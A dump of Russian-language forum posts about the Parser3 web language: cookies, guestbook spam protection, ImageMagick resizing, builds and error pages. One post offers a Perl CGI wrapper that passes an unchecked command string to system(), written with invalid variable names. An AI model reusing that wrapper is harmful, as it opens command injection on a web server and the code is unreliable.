Попахивает отношением мужчин к женщинам за рулем. Извините, если я Вас неправильно поняла."
"41347","в хтмл файле 1 строка\
\
$сookie:client_id\
\
експлорер выводит такое\
сookie\
class is undefined\
\
причем есть другой файл с таким же содержимым и выводит то что от него ожидается. что это может быть?"
"41349","Добрый день, Александр. Простите, что докучаю, но безумно хочется попробовать работать с parser'ом, тем более, я вижу, КАКИЕ работы с его помощью появляются на свет. \
Вопрос: разница существенна - расширение файла будет htm или html? Просто на данном сервере уже работает сайт, страницы которого имеют вид *.htm \
Администратор категоричен в назначении parser'а обработчиком htm страниц, потому, как мы пробовали следующий прием: назначаем parser обработчиком html - не работает (404), убираем назначение - html обрабатывается.\
Вопрос: есть ли возможность проверить правильность установки Parser'а? Возможны ли проблемы от того, что IIS 6 версии? \
Спасибо большое."
"41351","[quot]\
в хтмл файле 1 строка\
\
[b]$сookie:client_id[/b]\
[/quot]"
"41355","кажется понял в чем дело. $cookie:client_id было на второй строке, первая пустая была. если поставить $cookie:client_id на первую строку то ошибки нет."
"41365","Столкнулся с проблемой спама доски объявлений через авторассылщики.\
Видел одну интересную, но простую идею борьбы с этим. Вместо картинок с цифрами, выводятся слова (один, два, три .... ) а вводить нужно цифры в соответсвии со словами. Конечно, такую защиту легко обойти, но не каждый спамер будет городить таблицу соответствия ради одного сайта. Большой плюс - легкость реализации.\
Такая вещь стоит на том сайте уже год, ресурс в своей категории лидер по посещаемости, спамеры пока защиту эту не пытпются обойти.\
Так что для отраслевых ресурсов и для ресурсов не высокой популярности (<2000 посетителей в день я думаю..) это не плохой выбор."
"41367","\"Если убираем назначение parser'а обработчиком html, то html обрабатывается\" кем? парсером???\
Проверить работоспособность парсера можно скачав этот 	[url=\"http://www.parser.ru/f/1/download/utils/test.zip\"]файл[/url] и, записав его на сервер, вызвать в браузере"
"41368","т.к. далеко не все жаждут набирать какие-то циферки (лично я это делать очень не люблю).\
\
т.е. я считаю что лучше пользоваться защитами, которые не напрягают обычных посетителей и не усложнают им жизнь.\
\
обычно для спама в гостевые книги/форумы собирют их URL-ы с параметрами, которые нужно передавать и затем консольное приложение по этим URL просто постит данные без открытия форм добавления сообщений. для защиты от таких спамеров подходит класс из [url=\"/examples/antiflood/\"]примеров[/url].\
\
однако если захотят заспамить именно вашу гостевую - заспамят, какой бы метод защиты вы не выбрали."
"41369","Да, распознать не сложно, но сложнее чем цифры, т.к. нужно делать таблицу с соответствием чисел и слов. При желании я думаю и картинки распознают :)...\
Просто такая вещь, работает уже год, и никто не ломает (хотя может если б там и цифры были, тоже никто бы не ломал :))."
"41370","А что будет если несколько пользователей одновременно передадут данные?"
"41371","если мое предыдущее сообщение навеяло вам какие-то ложные ощущения, но на форуме всякое бывает... :-)"
"41373","я не очень понял что вы имеете ввиду.\
вы опасаетесь что какие-то даные не дойдут?"
"41374","Ну как я понял, там на хэш файл lock стоит, вот например два пользователя добавляют объявление одновременно (или почти одновременно), что будет? Не будет ли возникать 500 ошибка например?"
"41375","Можно ли как нибудь заменить названия этих кнопок по своему желанию?\
Тоесть например не choose а выбрать не submit а отправить???"
"41376","потом перейдёте к ISAPI, если захотите."
"41378","один из них будет первым, второй дождётся снятия блокировки."
"41379","пожалуйста, почитайте документацию по продукту, который вы используете.\
\
пожалуйста, почитайте [b]любую[/b] пусть самую тоненькую книжку по базам данных.\
\
вот вечером ведь пойдёте мимо книжного? зайдите и почитайте прямо в магазине."
"41380","Надо тогда прикрутить Ваш замечательный скрипт :)"
"41385","чтобы кнопка называлась не choose а кпримеру по русски обзор"
"41387","Не ломают, потому что не хотят. Или просто никому это не надо. А вообще это делается весьма просто. Миша примерно описал процесс + добавляется скрипт распознания картинки."
"41388","PS причем здесь парсер?"
"41389","Вроде бы все подключил, но выдается ошибка:\
apr_sdbm_open(shared) error: Bad file descriptor (9)\
open\
z:/home/test4.ru/www/classes/antiflood.p(87)\
\
Метод который дает ошибку:\
\
@_open[]\
^if(!def $HF){\
	$HF[^hashfile::open[$DATA_DIR/$DOUBLE_FILE]]\
}\
#end @_open[]\
\
$DATA_DIR прописал :$DATA_DIR[/msgboard/data/cache]\
\
Что неправильно?"
"41393","Для защиты от авторассыльщиков можно ли ограничиться добавлением в хэш UID перед выводом формы и проверкой наличия в хэше UID перед POST?"
"41394","если захотят заспамить именно вас - заспамят вне зависимости от используемой защиты, т.к. сэмулировать логику работы обычного броузера (+ запросы через анонимные прокси по сниску) не сложно. \
\
также думаю что antiflood.p успешно обойдет бОльшее количество спамилок, чем то, о чем писали вы.\
\
однако этот механизм прозрачен, _не_напрягает_посетителей_ и легко реализуем, поэтому я считаю что начинать нужно с него. если-же его будет недостаточно - придумывать что-то иное."
"41395","Если в основном спам идет через метод GET из сторонних программ, то, если человек не загрузит форму, $uid не сгенерируется =>\
Попробовал сделать так:\
Герерируем $uid, вставляем hidden, затем проверяем если ли что нибудь в нем. Если есть POST разрешен, нет - останавливаемся.\
Пробовал проверить, набрал значения которые должны писаться в форме в строке браузера, не стал вводить только $form:uid, результат - пост не прошел.\
Если спамер вставит в свой код Form:uid - меняем имя hidden.....\
\
Вроде все так.."
"41396","Если в основном спам идет через метод GET из сторонних программ, то, если человек не загрузит форму, $uid не сгенерируется =>\
Попробовал сделать так:\
Герерируем $uid, вставляем hidden, затем проверяем если ли что нибудь в нем. Если есть POST разрешен, нет - останавливаемся.\
Пробовал проверить, набрал значения которые должны писаться в форме в строке браузера, не стал вводить только $form:uid, результат - пост не прошел.\
Если спамер вставит в свой код Form:uid - меняем имя hidden.....\
\
Вроде все так.."
"41397","Решил тут наспех на одном сервере поставить парсер, дабы кое-какой код быстренько проверить. Как бы ни так!\
\
Во-первых, оказалось что на сайте из бинарников лежит только для FreeBSD 4.9 самая последняя собранная версия. Она, кстати, запускается и работает. Но вот модуль mysql к ней - нет. Говорит в логе:\
 /usr/libexec/ld-elf.so.1:\
 /usr/local/lib/mysql/libmysqlclient.so: Undefined symbol \"stpcpy\"\
 Premature end of script headers: parser.cgi\
\
Вопрос N1: Планирует ли команда разработчиков парсера популяризировать свой продукт хотя бы банальной поддержкой новых версий операционных систем? Хотя бы для FreeBSD 5 собрали его - все-таки другая ветка и другие либы, нежели в FreeBSD 4.\
\
Ладно, думаю. Соберу-ка я его из cvs. Щазззз...\
\
Выдал обе инструкции как в документации для выписки кода с cvs (login и get). Говорит:\
 cvs server: Updating parser3\
 U parser3/AUTHORS\
 U parser3/COPYING\
\
И все. Признаков жизни жду вот уже минут этак 10-15-20.\
\
Вопрос N2,3,4: С cvs сервером все в порядке? Cvs'ить по старой схеме? Почему так висит?"
"41398","U parser3/AUTHORS\
U parser3/COPYING\
U parser3/ChangeLog\
U parser3/INSTALL\
U parser3/Makefile.am\
U parser3/Makefile.in\
U parser3/NEWS\
U parser3/README\
U parser3/acinclude.m4\
\
Сколько там, говорите, в сырцах этих файлов? :)"
"41399","Пыталитcь собрать парсер под FreeBSD5.4\
Выявились следующие ошибки\
\
In file included from ../../src/include/pa_request.h:17,\
                 from compile_tools.h:16,\
                 from compile.y:32:\
.../../src/include/pa_stack.h: In member function `void Stack<T>::push(T)':\
.../../src/include/pa_stack.h:23: error: there are no arguments to `count' that depend on a template parameter, so a declaration of `count' must be available\
.../../src/include/pa_stack.h:23: error: (if you use `-fpermissive', G++ will accept your code, but allowing the use of an undeclared name is deprecated)\
.../../src/include/pa_stack.h: In member function `T Stack<T>::pop()':\
.../../src/include/pa_stack.h:31: error: there are no arguments to `get' that depend on a template parameter, so a declaration of `get' must be available\
.../../src/include/pa_stack.h: In member function `T Stack<T>::top_value()':\
.../../src/include/pa_stack.h:39: error: there are no arguments to `get' that depend on a template parameter, so a declaration of `get' must be available\
.../../src/include/pa_stack.h: In member function `void Stack<T>::wipe_unused()':\
.../../src/include/pa_stack.h:44: error: `fused' undeclared (first use this function)\
.../../src/include/pa_stack.h:44: error: (Each undeclared identifier is reported only once for each function it appears in.)\
.../../src/include/pa_stack.h:45: error: `felements' undeclared (first use this function)\
*** Error code 1\
\
Stop in /usr/home/admin/parser-3.1.4/src/main.\
*** Error code 1\
\
Stop in /usr/home/admin/parser-3.1.4/src.\
*** Error code 1\
\
Stop in /usr/home/admin/parser-3.1.4.\
помогите разобраться с чем это связано.\
С уважением Кузнецов Вадим."
"41401","Возможно ли средствами ^file:exec[] запускать утилиту, находящуюся в каталоге /usr/bin? Речь идет о системе Linux.\
\
ежли писать по-тупому ^file:exec[/usr/bin/утилита], то возникает ошибка \"файл не найден\". А он есть. :-)"
"41402","Вопрос снят.\
:-)\
\
Кстати, уже писалось про этот эффект - что как на форум вопрос напишешь - так проблема решается в течение 10 минут, даже если тебе не ответили.))))"
"41403","Скажите опытные люди,\
насколько можно  доверять кукам, особенно с expires[session].\
Бывают ли сбои? Просто иногда замечал баги.\
Просто хочется знать степень надежности для хранения данных (не всех естесственно) типа session_id и в таком духе.\
\
Было бы приятно прочитать развернутые ответы из опыта участников форума."
"41404","Вы замечали баги? Оформляйте баг-репорт и Александру в почту."
"41407","в такие моменты мне жаль, что не всегда удается понять, с какой интонацией оставлен ответ. Или просто я излишне эмоциональна. Буду исправляться :)"
"41408","Парсерный вариант функции [url=\"http://www.dklab.ru/chicken/nablas/demo/JSHttpRequest/JSHttpRequest.phps\"]_php2js()[/url] для тех, кого интересует subj. Функции можно передавать hash, string, таблицу, и т.д.\
\
Хеш любой вложенности и содержания преобразуется в JavaScript-хеш с аналогичной структурой.\
 \
Hash of Bool преобразуется в нумерованый массив.\
\
Из таблицы получается такой хитрый массив с ключами в виде хешей. \
Доступ к любому элементу такой таблицы/массива можно будет получить через Имя_таблицы.номер_строки.имя_столбца. Nameless-таблицы не преобразуются (обнуляются).\
[code]\
@object2js[test]\
^if($test is void && ^return[null] ||\
    $test is bool && ($test && ^return[true] || ^return[false]) ||\
    $test is string && ^return['^taint[js][$test]'] ||\
   ($test is int || $test is double) && ^return[$test] ||\
    $test is hash && ($test && ^return[^_hash2js[$test]] || ^return[null]) ||\
    $test is table && ($test && ^return[^_table2js[$test]] || ^return[null]) ||\
    $test is date && ^return[new Date(^test.unix-timestamp[]000)]\
){}{\
	^return[null]\
}\
\
\
@return[type]\
$caller.result[$type]\
$result(1)\
\
\
@_hash2js[hash]\
# проверяем, а не hash ли это of bool\
^if(^hash.foreach[;v]{^if($v is bool && $v;0;1)}){\
# если не он - возвращаем ассоциативный массив (хеш)\
    $result[^{^hash.foreach[k;v]{'^taint[js][$k]': ^if($v is bool || $v is int || $v is double){^object2js($v)}{^object2js[$v]}}[, ]^}]\
}{\
# если, таки, он - возвращаем нумерованый\
    $result[^[^hash.foreach[key;]{'^taint[js][$key]'}[, ]^]]\
}\
\
@_table2js[table][keys]\
$keys[^table.columns[]]\
^if($keys){\
    $result[^[^table.menu{^{^keys.menu{'^taint[js][$keys.column]':'^taint[js][$table.[$keys.column]]'}[, ]^}}[, ]^]]\
}{\
# nameless tables are deprecated!\
    $result[null]\
}\
[/code]\
Местами может содержать ошибки, на серьезное тестирование пока не было времени."
"41409","1. Если вы нашли другой приемлемый способ хранения session_id, интересно послушать.\
2. Надо помнить, что в браузерах (IE, Opera 7+, Firefox) пользователь может изменять имена и значения кук. Поэтому быть уверенным в чистоте информации из кук на 100% нельзя.\
\
Но без кук нам никуда :-)"
"41411","Make donation form at this site. I gonna be the first donator. I'm not kidding."
"41412","называется <a href=\"mailto:mailbox@parser.ru\">\
на всех страницах снизу слева.\
\
туда можно присылать donations.\
предпочтительная форма: .c, но можно и .patch (делать с помощью \"patch -u\")\
\
ожидаемых donations много, just to name a few:\
* SQL драйвера, особенно UNIX драйвер к MSSQL\
* хорошие идеи по улучшению языка (можно и прямо сюда)\
* хорошие куски кода для публикации в /examples"
"41414","$a(0 < 1)"
"41416","Добавление hidden отфильтровывает часть, но есть еще несколько других программ, которые уже просто достали!\
Какие есть способы борьбы с этим, кроме картинок с цифрами?"
"41417","Возможно от туда идеи подчерпнёте"
"41419","Так там насколько я понял для спама тот же принцип - загрузил форму - post идет, форма не грузилась - не идет"
"41420","А потом пусть опишут что видели.\
\
Вам уже подсказали варианты. Можете взять мой вариант с цифирями.\
У меня он давольно неплохо работает в течении полугода."
"41421","его несложно из кусков склеить. \
хорошенько разбавив random байтиками против особо злобных ;)"
"41422","Мишин вариант работает только когда форму не грузят, правильно?"
"41424","Кто-то хотел подменю и т.д.\
Почему бы деревом не делать?"
"41427","Вот еще два варианта отделить людей от спаммеров :)\
\
1) На одном из сайтов картинка в виде простой формулы (или, наоборот, формула в виде картинки?) типа 23 + 75=.\
Ответом должно быть решение.\
\
2) Для регистрации одного из программ-видеоплееров только русскими применяется такой ход: выводится русская загадка, нужно ввести ответ."
"41428","А почему такой код:\
[code]\
^use[images.p]\
\
$status[^images:resize[\
		$.source_path[/images]\
		$.image_name[image3.jpg]\
		$.x_size(50)\
		$.x_size(150)\
		$.quality[80]\
	]]\
	^if(!$status){\
		$status OK!\
	}{\
		^rem{ *** Возникла ошибка *** }\
		$status\
	}\
[/code]\
выдаёт 0 OK! и при этом с картинкой ничего не происходит?"
"41429","В том то и дело, что пытаюсь сделать так, чтобы человеку не нужно было ничего дополнительно вводить или еще хуже решать задачки :)"
"41430","У них обычно в теме идет адрес сайта http://.....\
Поставил проверку темы через match на http:// и на .html и htm\
Если какие-либо из перечисленных сочетаний встречаются, то культурно говорим что тема не должна содеражть www адрес.\
Добропорядочный пользователь поймет (хотя не разу не видел, чтоб нормальые пользователи адреса своих сайтов в тему впихивали, обычно либо это спамеры, либо конкуренты - ни те не те, нам не нужны)\
спамр не заметит.\
+ в hidden uid, те кто не через форму спамят, те сразу отсеиваются."
"41433","У меня с match проблем вроде не возникло, я сдеал такой регэксп http://[a-zA-Z0-9._]+ , книге по регэкспам (Фридл), там более общий есть пример, но я думаю и этого хватит"
"41434","нет, я просто показал результаты поиска в этом форуме сообщений, в заголовке которых есть http:// :)\
\
т.е. я хотел сказать что не тольго \"гады\" туда http:// пишут. хотя я не знаю вашего случая."
"41435","По наблюдению, нормальные пользователи (крупные и средние фирмы, все более менее нормальные покупатели/поставщики, которые работают не 1 день на рынке) оставляют url либо в контактной информации либо в тектсе сообщения, а в тему вписывают те, кому нужны посетители на их сайт. Вообще, я думаю, что для отраслевых сайтов нужно делать так: вводить максимальные ограничения при подаче объявлений для не зарегистрированных пользователей и расширять возможности для зарегистрированных.\
\
Один вопрос:\
есть скрипт, он выполняется на сервере с помощью Cron,\
скрипт заходит на другие сайты.\
Если посмотреть, через Cpanel (или другим сопсобом, где будет user agent), что увидит человек, на чей сайт зашел скрипт?"
"41436","Люди помогите сотворить простенький интернет магазинчик.\
Необходимо чтобы был каталог товаров, товар был представлен катинкой, которую можно увеличить, описанием, ценой (у.е.) и соответсятвенно добавлялся в карзину.\
В корзине отображались выбранные товары, количество (которое можно изменять), соответственно перерасчет цены (в у.е.) а рядом в рублях в зависимости от установленного курса и пожалуй все. Также корзина должна отображаться в каталоге чтобы было видно кол-во выбранного товара и на какую сумму (у.е. и руб.)\
Когда все заказано заполняется регистрационная форма Имя, Адрес, е-маил, доп. информация, и соответственно все присылается заказчику и продавцу на е-маил.\
Соответственно чтобы можно было самому добавлять и удалять товар.\
Пишите только на мыло, буду очень благодарен, может быть даже деньгами."
"41438","ImageMagick наверное не установлен у меня тоже самое было"
"41439","а то я этот процесс вообще не представляю...\
т.е. доиа — понятно, а на хостинге?"
"41441","[url=\"http://validator.w3.org/check?uri=www.artlebedev.ru&charset=%28detect+automatically%29&doctype=%28detect+automatically%29\"]validator.w3.org[/url]\
\
откуда берутся пробелы?"
"41442","Path to perl:  /usr/bin/perl\
CGI-BIN: /home/username/domains/domain.com/public_html/cgi-bin\
туда я положил images.pl и convert.pl\
Image::Magick среди установленных скриптов есть.\
в images.p я прописал путь к файлам .pl:\
/home/username/domains/domain.com/public_html/cgi-bin\
\
И при этом выполнение\
[code]\
^use[images.p]\
\
$status[^images:resize[\
		$.source_path[/images/]\
		$.destination_path[/images/]\
		$.image_name[akir.jpg]\
		$.x_size(50)\
		$.quality[80]\
	]]\
	^if(!$status){\
		^rem{ *** Всё ок *** }\
		$status\
	}{\
		^rem{ *** Возникла ошибка *** }\
		$status\
	}\
[/code]\
\
Выдаёт 0 и ничего не делает...\
В чем проблема?"
"41444","Имеется ввиду, что найденный [b]<html>[/b] он отображает как [b][color=\"#ff0000\"]<[/color] html>[/b]?"
"41445","честно скажу сам не разобрался поэтому используя класс на через php/gd намного удобнее perla при всём уважении к Eugene Spearance написавшему images.p"
"41446","Алгоритм Nested Set задерживает особого внимания..."
"41448","Решил так. В auto.p вручную прописал $script[]:\
[code]\
	$script[/cgi-bin/convert.pl]\
[/code]"
"41449","Сколько пишу, пока проблем с куками не замечал.\
Немного не могу понять суть вопроса. Доверять в каком смысле? Боитесь, что информация исказится или, что информация может не создаться (т.е. произойти ошибка в создании cookie)?"
"41450","Вопрос: [b]к чему такая просьба?[/b]"
"41451","Поменял, правда, в images.p, чтобы ресайз тоже работал..."
"41452","С развитием HTML или CSS эта функция может появится..."
"41453","Не в [b]auto.p[/b], а, как Вы же сами сказали, в [b]images.p[/b]."
"41454","От 3 до 10 спамерских сообщений.\
Преграды, котрые я ввел помогают, спама стала меньше и самый нежелательный спам обычно не проходит"
"41456","Скажите, пожалуйста, как решили свой вопрос."
"41457","Сверяю request:uri с данными, причем после определенного знака уже ничего не надо. Использовал такую конструкцию\
[code]$href/$menua.url/[^^/][/code]\
То есть, то, что стоит после $menua.url/ уже не важно\
[code]$href[/?][/code]\
\
После того, как переменную $href изменил $href[/e/?] код перестал работать."
"41459","Поищите по этому форуму по фамилии \"Joe Celko\" - увидите, что \"всё давно украдено до нас\".\
\
ПыСы - мне не очень не нравится модель вложенных множеств - перенумеровка большого дерева требует неоправданных ресурсов, да и на простенькие вопросы типа \"а расскажи-ка мне, в какие бОльшие множества входит это множество?\". Если уж и воплощать его, то в модификациях от Vadim Tropashko - там хоть дробные left и right используются - сложнее в реализации, но и нет риска, что когда-то в будущем цена поддержания дерева не станет чрезмерной..."
"41460","На хост-сервере не работал PerlMagick, однако работают непосредственно утилиты в каталоге /usr/bin/\
\
А парсер, соответственно, из каталога /usr/bin не находит/ А если находит([code]$path_to_convert[$request:document-root/usr/bin][/code]), то не запускает ввиду безопасности версии.\
\
А опасная версия не собирается по причине тотального незнания этой области.\
\
Пишем для начала так на Перле:\
[code]\
#!/usr/bin/perl\
print \"Content-Type: text/html\\n\\n\";\
my $path_to_util = \"/usr/bin/convert\";\
my $run-string = \"$path_to_util $ENV{'CGI_COMMAND_STRING'}\";\
@args = ($run-string);\
    system(@args) == 0\
	 or print \"system @args failed: $?\";\
# а если по барабану, что там произошло, комментируем print \
# и разкомментируем следующую строку\
# or die \"system @args failed: $?\";\
[/code]\
\
И кладем это в каталог /cgi-bin/\
И называем, например, run.pl\
И еще применяем право №755. :-)\
\
А потом так на Парсере (сокращенная версия):\
[code]\
@convert[params]\
^if(def $params){\
# все параметры, что надо проверяем на валидность\
# собираем командную строку для convert пакета ImageMagick\
$command-string[-f resize .. и т.д.]\
}\
\
# и отдаем это скрипту, который лежит по адресу\
\
$script-path[/cgi-bin/run.pl]\
$result[^file::exec[$script_path;$.CGI_COMMAND_STRING[$command-string]]]\
[/code]\
\
вот, типа того."
"41461","[code]$command-string[-f resize .. и т.д.][/code]\
\
следует читать как\
\
[code]$command-string[-resize .. и т.д.][/code]"
"41462","Не принципиально, но все же в зависимости от валидности параметров нужно запускать или не запускать скрипт.\
\
[code]\
@convert[params][$dont_run]\
# если мы не забыли передать параметры,\
^if(def $params){\
# все параметры, что надо проверяем на валидность, если они инвалиды, то\
#    $dont_run(1)\
# собираем командную строку для convert пакета ImageMagick\
     $command-string[-resize .. и т.д.]\
}{\
# если забыли\
     $dont_run(1)\
}\
\
^if(!dont_run){\
# и если все в порядке, отдаем это скрипту, который лежит по адресу\
$script-path[/cgi-bin/run.pl]\
$result[^file::exec[$script_path;$.CGI_COMMAND_STRING[$command-string]]]\
}\
[/code]\
\
вот так наверное, лучше."
"41463","Нужно было создать подпись по SHA1.\
Я сделал так: ^string:sql{SELECT SHA1('$Signature')}\
\
Нужно было закодировать в BASE64.\
Я сделал так: $code[^file::load[text;http://mysite/base64.php?t=$digest]]\
\
Наталкивает на какие-либо мысли?"
"41464","1. Установленный ImageMagick != рабочий. Часто бывает что перл стоит старый библиотека новая или наоборот. Или не все компоненты установлены.\
2. путь к cgi-bin нужно писать от корня веб-пространства, а не от корня диска. И менять его надо в images.p\
\
Согласен что подключение ImageMagick не тривиальная задача, но работает он гораздо лучше gd. Хотя сейчас я работаю над подключением другой библиотеки nconvert. На мой взгляд она работает быстрее вышеупомянутых библиотек."
"41465","$href/$menua.url/[^^/]\
То есть, то, что стоит после $menua.url/ уже не важно \
$href[/?]\
\
это не понял.\
\
вообще по классике:\
^href.match[^^http://yoursite/\\w+/(.*?)^$][g]{}]"
"41466","1 - это главное окно.\
2 - модал бокс\
3 - то, что открывается из модал как window.open.\
\
нужно из 3 сделать refresh 2\
\
пробую self.opener.location.href=self.opener.location.href - пытается перезагружатся не модал, а тот (1), кто это модал открыл. (но не может, пока модал висит :))"
"41467","путь я писал не от корня, а /cgi-bin/ и не в $script_path   а напрямую в $script. Тогда всё и заработало."
"41468","Можете ли вы поделиться исходным кодом?\
Хотя бы кодом ВикиФорматтера, который перегоняет ВикиСинтаксис в HTML."
"41469","Интересуют все основные виды ошибок от 401 до 500.\
Например когда вызывается несуществующий файл\
[url=\"http://www.dasshoes.ru/asd.html\"]http://www.dasshoes.ru/asd.html[/url],\
управление переходит к парсеру.\
Как именно средствами парсера, хотя можно и .htaccess,\
определить ошибку и указать страницу представления?"
"41470","сервер увидит тот user-agent, который скрипт посчитал нужным передать.\
если ничего не передал, сервер никакого user-agent не увидит."
"41471","А как понять, что скрипт посчитал нужным?\
Можно ли задавать самастоятельно user-agent? Как например у роботов поисковых машин."
"41472","Вот простенький пример:\
Подскажите как здесь сделать защиту от reload?\
\
<form method=\"post\">\
$photo[^image::measure[avto.jpg]]\
^photo.html[]\
<input type=\"checkbox\" name=\"avtopilot\" value=\"avtopilot\"><br>\
<input type=\"submit\"  value=\"отправить\">\
</form> \
^if(def form:avtopilot){\
^connect[$connect_p3test]{^void:sql{insert into avtopilot (avto) values ('$form:avtopilot')}}\
}"
"41473","[code]\
<form method=\"post\">\
$photo[^image::measure[avto.jpg]]\
^photo.html[]\
<input type=\"checkbox\" name=\"avtopilot\" value=\"avtopilot\"><br>\
<input type=\"submit\" value=\"отправить\">\
</form> \
^if(def form:avtopilot){\
\
^connect[$connect_p3test]{^void:sql{insert into avtopilot (avto) values ('$form:avtopilot')}}\
\
$response:location[thispage.html]\
\
}[/code]"
"41474","Мишина строчка из обратной связи справляется прекрасно\
$response:location[http://^taint[as-is][${env:SERVER_NAME}$request:uri]^if(^request:uri.pos[?]>=0){&}{?}action=done]\
\
НО Я НЕ МОГУ В НЕЙ РАЗОБРАТЬСЯ!"
"41475","$response:location[http://${env:SERVER_NAME}$request:uri]\
\
Но все таки интересно что означает остальное и для чего оно???\
^if(^request:uri.pos[?]>=0){&}{?}action=done"
"41476","[code]^if(^request:uri.pos[?]>=0){&}{?}action=done[/code]\
\
Всего лишь передает через GET параметр action со значением done, который означает, что  постинг прошел. А проверка выясняет, были ли в исходном $request:uri другие GET-параметры.\
\
Сравните:\
[code]http://www.parser.ru/forum/add/[b]?[/b]action=done\
http://www.parser.ru/forum/add/?parameter=value[b]&[/b]action=done[/code]"
"41477","ErrorDocument 500	/error/500/\
ErrorDocument 404	/error/404/\
ErrorDocument 403	/error/403/\
ErrorDocument 402	/error/402/"
"41478","/asd.html: '/home/dasshoes/public_html/asd.html' read failed: No such file or directory (2), actual filename '/home/dasshoes/public_html/asd.html' [file.missing]"
"41479","Здравствуйте, благодаря вашему объяснению мне удалось воспользоваться некоторыми скриптами. Теперь я хочу использовать один скрипт, который создаёт таблицу с фотками...\
Для этого ему надо просмотреть одну папку. Когда я запускаю скрипт, появляется ошибка http.status, я убрал http://$env:SERVER_NAME - появилась ошибка parser.runtime load invalid option passed.\
Я, пока ещё, очень плохо со всеми скриптами и парсером разбираюсь, поэтому без вашей помощи, видимо, не обойтись."
"41482","Написано же:\
[quot]...\
#передаём все наши параметры методом GET (нельзя файлы)\
...[/quot]\
а вы за скобками все выкинули..."
"41483","Да, забыл добавить, ErrorDocument ... // уже установлен, и не работает.\
Есть какие-нибудь варианты реализации этого на Parser'e? Ведь ему передается управление на обработку .html, пусть даже не существующих."
"41489","Возможно ли использовать UTF8 вместе с MySQL указав ClientCharset, например windows-1251?\
\
будет ли при этом происходить перекодирование \"на лету\" из юникода  в кодировку сервера?"
"41491","Планиеруется, что несколько сайтов будут использовать одинаковые изображения которые хранятся на одном из сайтов www.сайт1.ru/images/\
\
Не могу показать эти изображения на другом сайте www.сайт2.ru\
\
Использую:\
[code]\
@изображение[изображение;надпись]\
^if(-f \"$изображение\"){\
$pic[^image::measure[$изображение]]\
^pic.html[\
	$.border[0]\
	$.alt[$надпись]\
	$.title[$надпись]\
	$.align[center]\
	$.vspace[10] \
	$.hspace[10]\
	]\
}{\
\
$pic[^image::measure[/images/no_img.gif]]\
^pic.html[\
	$.border[0]\
	$.alt[]\
	$.title[]\
	$.align[center]\
	$.vspace[10] \
	$.hspace[10]\
	]\
}\
[/code]\
\
Если в качестве параметра пердавать http://www.сайт1.ru/images/img1.gif выходит ошибка. Подскажите как быть."
"41493","Начните с ^file::load[site2.ru/picture.gif], а затем преобразуйте полученный объект как нужно. Возможно, придется сохранять на диск."
"41494","Если сайты на одном сервере, то хранить в БД имена, размеры, альтернативный текст и пр. картинок. И обходиться, соответственно, без measure.\
\
Метод, аналогичный ^image.html[], но работающий с информацией из БД, написать вообще не проблема."
"41496","[code]\
$image[^file::load[binary;http://www.сайт1.ru/images/img1.gif]\
^if($image){\
$pic[^image::measure[$image]]\
}\
[/code]\
Хотя подобная идея с использованием картинок одного ресурса в другом мне не очень нравится."
"41497","Моё мнение, это очень не удобно. Могут быть проблемы с хостингом или какие-нибудь изменения с сайтом. Тем более, что это за операция?... Она будет занимать излишнее время загрузки сайта, пока Parser загрузит изображение, затем определит размеры и только потом выдаст. Может быть мучительно для ожидания посетителя.\
Вариант, предложенный Kaverdo, мне кажется более удачным.\
Хотя дело Ваше, решать Вам!"
"41500","Здравствуйте! \
\
Столкнулся со следующей проблемой: после изменения пароля MySQL доступа и последующего изменения пароля в файле auto.p, при открытии в браузере домена выдается ошибка 500. \
\
С чем это может быть связано и как можно устранить эту ошибку? \
\
Заранее благодарен"
"41501","пожалуйста, почитайте FAQ"
"41502","Правильно я делаю сортировку? Работает, но я не уверен, что грамотно написал код.\
[code]\
<a href=\"?order_by_title\">Сортировать по названию</a>\
\
^if($form:nameless eq \"order_by_title\"){\
	$links[^MAIN:pSQL.table{\
		SELECT title, description, uri, id\
		FROM links\
		ORDER BY title\
		}\
	]\
}\
[/code]"
"41503","<a href=\"[color=\"#ff0000\"]?order_by_title=yes[/color]\">Сортировать по названию</a>\
\
[code]^if([color=\"#ff0000\"]$form:order_by_title eq \"yes\"[/color]){\
	$links[^MAIN:pSQL.table{\
		SELECT \
			title, description, uri, id\
		FROM \
			links\
		ORDER BY \
			title\
		}\
	]\
}[/code]"
"41504","Ну когда же вы это уберете!!!\
Кликнты столько глупых вопросов задают!!!"
"41505","Народ, прошу аргументировано высказаться по следующему вопросу:\
есть идея храть в БД для некоторых объектов некоторые свойства в одном текстовом поле в виде XML.\
Т.е. есть набор каких-то бызовых полей по объекту, по которым осужествляется поиск, сортировка и т.п.. А есть свойства, которые идут как бы необязательным довеском к объекту. Я понимаю, что мне сейчас предложат хранить их в отдельной дополнительной таблице и т.п. Но это делается для создания как бы универсальногодвижка, который можно будет использовать от проекта к проекту не меняя структуру таблиц БД для каких-то базовых объектов (user например и т.п.)"
"41507","имеется вот такой код:\
[code]\
<b>Скачать прайс-лист</b>\
^if(-f \"/download/price.xls\"){\
 <a href=\"/download/price.xls\">в&nbsp^;формате Microsoft Excel</a><br />\
 $xls[^file::stat[/download/price.xls]]\
 <em><nobr>${xls.cdate.year}-${xls.cdate.month}-${xls.cdate.day} года</nobr></em>\
 ^[^eval($xls.size/1024)[%d]&nbsp^;Kb^]}\
\
^if(-f \"/download/price.zip\"){\
 <p><a href=\"/download/price.zip\">в&nbsp^;формате WinZIP</a><br />\
 $zip[^file::stat[/download/price.zip]]\
 <em><nobr>${zip.cdate.year}-${zip.cdate.month}-${zip.cdate.day} года</nobr></em>\
 ^[^eval($zip.size/1024)[%d]&nbsp^;Kb^]}\
[/code]\
\
\"дополнительный ввод\" [color=\"#AAAAAA\"]<a href=\"/download/price.zip\"[/color] name=\"zip\"> и \
[code]^if(def $form:zip){\
    $response:download[^file::load[binary;/download/price.zip]]\
}[/code]\
не помогает"
"41510","коннект один замерьте..."
"41512","есть текстовый файл, назовите его additional_fields.cfg и храните дополнительные поля..."
"41513","Продукт: [b]Macromedia DreamWeaver MX 2004 7.0.1[/b]."
"41514","[code]\
ORDER BY\
	title ASC\
[/code]\
или\
[code]\
ORDER BY\
	title DESC\
[/code]"
"41515","в случае добавления поля нужно делать alter table, чего делать не очень хочется...\
\
если эти \"дополнительные\" поля действительно никогда не будут участвовать в where и при этом если вы используете связку xml/xsl то делать так сам бог велел :)\
\
все равно будет сформирован xml документа с содержимым из БД, все равно мы будем доверять этому xml-ю, и все равно мы потом будем писать xsl который будет выводить эти дополнительные поля."
"41516","Вы извините, но я не могу понять, что я всё выкинул и как прочитать папку с фотографиями...\
Я читаю документацию, пытаюсь применить any-status(1), возникает maximal 3 parameters.\
Что-то я не допонимаю..."
